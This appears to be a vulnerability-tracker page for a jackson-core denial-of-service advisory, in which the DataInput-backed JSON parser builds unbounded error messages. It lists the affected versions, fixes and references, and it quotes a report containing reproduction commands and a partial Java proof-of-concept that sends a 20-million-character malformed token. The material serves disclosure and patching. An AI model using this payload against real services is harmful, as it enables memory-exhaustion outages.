CVE-2026-89425 · GHSA-7hhh-6rmp-j9qf
jackson-core: UTF8DataInputJsonParser._reportInvalidToken() missing maxErrorTokenLength limit -> unbounded StringBuilder growth (DoS)
- Risk score
- 63/100
- CVSS
- 7.5 v3.1
- Exploit chance (30 days)
- 0.5%
- Published
- 1 Oct 2026
Open in the live forecast Today's forecast
What to know
- What it is
- FULLY REPRODUCED. A malformed token fed through createParser(DataInput) produced a 20,000,109-character exception message from a 20-million-character attacker payload, while the identical payload fed through createParser(InputStream) produced a correctly bounded 367-character message. Package: com.fasterxml.jackson.co…
- Affected
- com.fasterxml.jackson.core:jackson-core (maven) >= 2.19.0, <= 2.21.6; com.fasterxml.jackson.core:jackson-core (maven) >= 2.22.0, <= 2.22.2; tools.jackson.core:jackson-core (maven) >= 3.0.0, <= 3.1.6; tools.jackson.core:jackson-core (maven) >= 3.2.0, <= 3.2.2
- Fix
- Upgrade com.fasterxml.jackson.core:jackson-core to 2.21.7 or 2.22.3 or 2.18.11; tools.jackson.core:jackson-core to 3.1.7 or 3.2.3 (whichever matches your release line) or later.
- Exploitation
- No known exploitation
Why it is Amber
- CVSS 7.5 high
- Remotely exploitable without logging in
- On your watchlist: Maven
Affected packages
| Package | Ecosystem | Vulnerable | Fixed in |
|---|---|---|---|
| com.fasterxml.jackson.core:jackson-core | maven | >= 2.19.0, <= 2.21.6 | 2.21.7 |
| com.fasterxml.jackson.core:jackson-core | maven | >= 2.22.0, <= 2.22.2 | 2.22.3 |
| tools.jackson.core:jackson-core | maven | >= 3.0.0, <= 3.1.6 | 3.1.7 |
| tools.jackson.core:jackson-core | maven | >= 3.2.0, <= 3.2.2 | 3.2.3 |
| com.fasterxml.jackson.core:jackson-core | maven | >= 2.8.0, <= 2.18.10 | 2.18.11 |
References
- https://github.com/advisories/GHSA-7hhh-6rmp-j9qf
- https://github.com/FasterXML/jackson-core/security/advisories/GHSA-7hhh-6rmp-j9qf
- https://nvd.nist.gov/vuln/detail/CVE-2026-89425
- https://github.com/FasterXML/jackson-core/pull/1698
- https://github.com/FasterXML/jackson-core/commit/211cf2c5d91abbec38067f37efc1363cd4e88ee3
- https://github.com/FasterXML/jackson-core/releases/tag/jackson-core-2.18.11
- https://github.com/FasterXML/jackson-core/releases/tag/jackson-core-3.2.3
- https://github.com/advisories/GHSA-7hhh-6rmp-j9qf
Original description
## Status **FULLY REPRODUCED.** A malformed token fed through `createParser(DataInput)` produced a 20,000,109-character exception message from a 20-million-character attacker payload, while the identical payload fed through `createParser(InputStream)` produced a correctly bounded 367-character message. ## Affected Component / Version - **Package:** `com.fasterxml.jackson.core:jackson-core` - **Confirmed against:** `jackson-core-2.20.2` - **Affected file:** `src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java` (`_reportInvalidToken(int, String, String)`, lines ~2763-2780 in the 2.20.2 tree) ## Technical Analysis `UTF8DataInputJsonParser._reportInvalidToken()` builds the offending-token description for its exception message by appending identifier characters one at a time to a bare `StringBuilder`: ```java protected void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException { StringBuilder sb = new StringBuilder(matchedPart); while (true) { char c = (char) _decodeCharForError(ch); if (!Character.isJavaIdentifierPart(c)) { break; } sb.append(c); ch = _inputData.readUnsignedByte(); } _reportError("Unrecognized token '"+sb.toString()+"': was expecting "+msg); } ``` There is **no check against `ErrorReportConfiguration.getMaxErrorTokenLength()`** (default 256) anywhere in this loop. By contrast, the sibling `UTF8StreamJsonParser` implementation of the same logic does enforce it: ```java // UTF8StreamJsonParser.java (control, correctly bounded) if (sb.length() >= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) { sb.append("..."); break; } ``` `ReaderBasedJsonParser` and `NonBlockingUtf8JsonParserBase` also correctly enforce the limit — this is a defect isolated to the `DataInput`-backed implementation specifically, confirmed by direct comparison of all four parser implementations in this tree. This path is additionally left with **no fallback control**: because of `[core#1570]`-related logic in `JsonFactory`, configuring `maxDocumentLength` causes `DataInput`-sourced parser creation to be rejected outright, so a document-length backstop cannot coexist with this input source, and the identifier-character accumulation never passes through `ReadConstrainedTextBuffer`, so `maxStringLength` does not apply either. There is no configuration an application can set to mitigate this specific path. ## Reproduction Procedure Same clone/build steps as `jackson-core_1_...md`. Then: ```bash CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar" javac -cp "$CP" -d poc poc/PoC6_UnboundedErrorTokenStringBuilder.java java -Xmx2g -cp "poc:$CP" PoC6_UnboundedErrorTokenStringBuilder ``` ## Full PoC Source (`poc/PoC6_UnboundedErrorTokenStringBuilder.java`) ```java import com.fasterxml.jackson.core.*; import java.io.DataInputStream; import java.io.IOException; import java.io.InputStream; public class PoC6_UnboundedErrorTokenStringBuilder { static class RepeatingByteInputStream extends InputStream { private final int b; private long remaining; RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; } @Override public int read() { if (remaining <= 0) return -1; remaining--; return b; } } public static void main(String[] args) throws Exception { final long IDENTIFIER_CHAR_COUNT = 20_000_000L; System.out.println("Malformed token: \"t\" followed by " + IDENTIFIER_CHAR_COUNT + " Java-identifier characters ('x'), then a terminating space, never completing" + " \"true\"/\"false\"/\"null\"/NaN.\n"); System.out.println("=== (a) UTF8DataInputJsonParser via createParser(DataInput) ==="); { InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"), new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8")); DataInputStream dataIn = new DataInputStream(raw); JsonFactory factory = new JsonFactory(); JsonParser p = factory.createParser((java.io.DataInput) dataIn); long heapBefore = usedHeap(); long t0 = System.nanoTime(); String message = null; try { p.nextToken(); p.nextToken(); p.nextToken(); } catch (JsonParseException e) { message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage(); } catch (IOException e) { message = "(stream ended: " + e + ")"; } long elapsedMs = (System.nanoTime() - t0) / 1_000_000; long heapAfter = usedHeap(); int msgLen = message == null ? -1 : message.length(); System.out.println("Exception message length: " + msgLen + " characters"); System.out.println("Elapsed time: " + elapsedMs + " ms"); System.out.println("Approx additional heap used: " + ((heapAfter - heapBefore) / (1024 * 1024)) + " MB"); System.out.println("Message length proportional to the full " + IDENTIFIER_CHAR_COUNT + "-character payload (unbounded)? " + (msgLen > 1_000_000)); } System.out.println("\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ==="); { InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"), new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8")); JsonFactory factory = new JsonFactory(); JsonParser p = factory.createParser(raw); long t0 = System.nanoTime(); String message = null; try { p.nextToken(); p.nextToken(); p.nextToken(); } catch (JsonParseException e) { message = e.getOriginalMessage() != null ? e.getOriginalMessage()
Last activity 1 Oct 2026. Patch Forecast updates every hour.